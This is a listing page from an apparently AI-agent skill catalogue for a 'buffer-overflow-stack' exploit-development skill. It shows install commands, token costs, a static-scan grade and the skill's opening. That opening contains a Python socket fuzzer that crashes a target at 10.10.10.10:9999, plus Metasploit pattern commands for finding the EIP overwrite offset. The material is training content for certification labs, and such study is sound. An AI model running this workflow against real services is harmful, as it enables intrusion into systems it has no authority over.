Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/buffer-overflow-stackWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/buffer-overflow-stack)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/buffer-overflow-stack"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/buffer-overflow-stack/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/buffer-overflow-stack"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/buffer-overflow-stack.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00086 | $0.02158 |
| Opus 5.5 | $0.00034 | $0.00863 |
| Sonnet 5.5 | $0.00017 | $0.00432 |
| Haiku 4.5 | $0.00009 | $0.00216 |
Grade A, and why
buffer-overflow-stack scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- buffer-overflow-stack — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 197 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Buffer Overflow (Stack-Based)
When to Use
- When discovering undocumented memory corruption vulnerabilities in proprietary network services, thick clients, or local binaries.
- During Exploit Development and Reverse Engineering tasks.
- When adapting public PoCs (Proof of Concepts) to bypass specific mitigations or target different OS versions.
- Required foundational knowledge for advanced certifications (OSCP, OSCE, etc.).
Prerequisites
- Vulnerable target application binary (32-bit or 64-bit) for testing
- Debugger configured: Immunity Debugger + Mona.py (Windows) or GDB + pwndbg (Linux)
- Python 3 with pwntools library installed (
pip install pwntools) - Understanding of x86/x64 assembly, calling conventions, and memory layout
Workflow
Phase 1: Fuzzing & Crash Identification
# Concept: Send progressively larger inputs to the target application
# until it crashes, indicating we overwrote the bounds of a buffer.
import socket, time, sys
ip = "10.10.10.10"
port = 9999
timeout = 5
# Create an array of increasing length strings
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print(f"Fuzzing with {len(string)} bytes")
s.send(bytes("COMMAND " + string + "\r\n", "latin-1"))
s.recv(1024)
s.close()
except:
print(f"Could not connect, server likely crashed at {len(string)} bytes.")
sys.exit(0)
time.sleep(1)
# Note the approx byte size where the crash occurred (e.g., 2000 bytes)
Phase 2: Finding the Offset (Controlling EIP/RIP)
# Concept: Find EXACTLY which bytes in our buffer overwrite the Instruction Pointer (EIP in 32-bit).
# 1. Generate a unique cyclic pattern using Metasploit
msf-pattern_create -l 2400
# 2. Update exploit script to send this pattern instead of 'A's.
# 3. Crash the application while attached to a debugger (Immunity Debugger / GDB).
# 4. Check the value stored in EIP at the time of the crash (e.g., 356b4234).
# 5. Find the exact offset length
msf-pattern_offset -l 2400 -q 356b4234
# Output: Exact match at offset 2003
# 6. Verify control:
# payload = "A" * 2003 + "B" * 4 + "C" * (2400 - 2003 - 4)
# EIP should now cleanly equal 42424242 (BBBB)
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 197 lines · 86 tokens per session scan A 78c8d5836688
buffer-overflow-stack is a skill published in the GitHub repository ShulkwiSEC/bb-huge (24 stars, last pushed 3mo ago), licensed MIT. It adds 86 tokens to every session and 2,158 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
buffer-overflow-stack
Identify, exploit, and write custom payloads for classic Stack-Based Buffer Overflows in 32-bit and 64-bit applications. Use this skill when conducting exploit development, reverse engineering custom network protocols, or preparing for advanced certifications (OSCP, OSEP). Covers fuzzing, controlling EIP/RIP…
gdb
Debug and trace C/C++/Rust programs with the GNU Debugger (GDB) without blocking the agent. Use when you need to set tracepoints, inspect variables, or monitor a running process while staying responsive to the user.
static-analysis
A static-analysis skill for embedded C and C++ code. Static analysis checks source code for likely errors without running it, while MISRA-C is a set of safety-oriented rules for C software.
gdb-cli
GDB debugging assistant for AI agents - analyze core dumps, debug live processes, investigate crashes and deadlocks with source code correlation.
zoom-meeting-sdk-unreal
Zoom Meeting SDK for Unreal Engine wrapper integrations. Use when building Unreal projects that embed Zoom meetings with C++ and Blueprint wrappers, including wrapper-to-SDK mapping concerns.
doca-argp
Use this skill for hands-on DOCA Arg Parser CLI work on a shipped sample or new DOCA-using app — adding / removing / renaming flags; wiring docaargpinit → register params → docaargpstart → docaargpdestroy in order; picking a parameter type from the full public enum (DOCAARGPTYPESTRING, INT, BOOLEAN, DEVICE, DEVICEREP…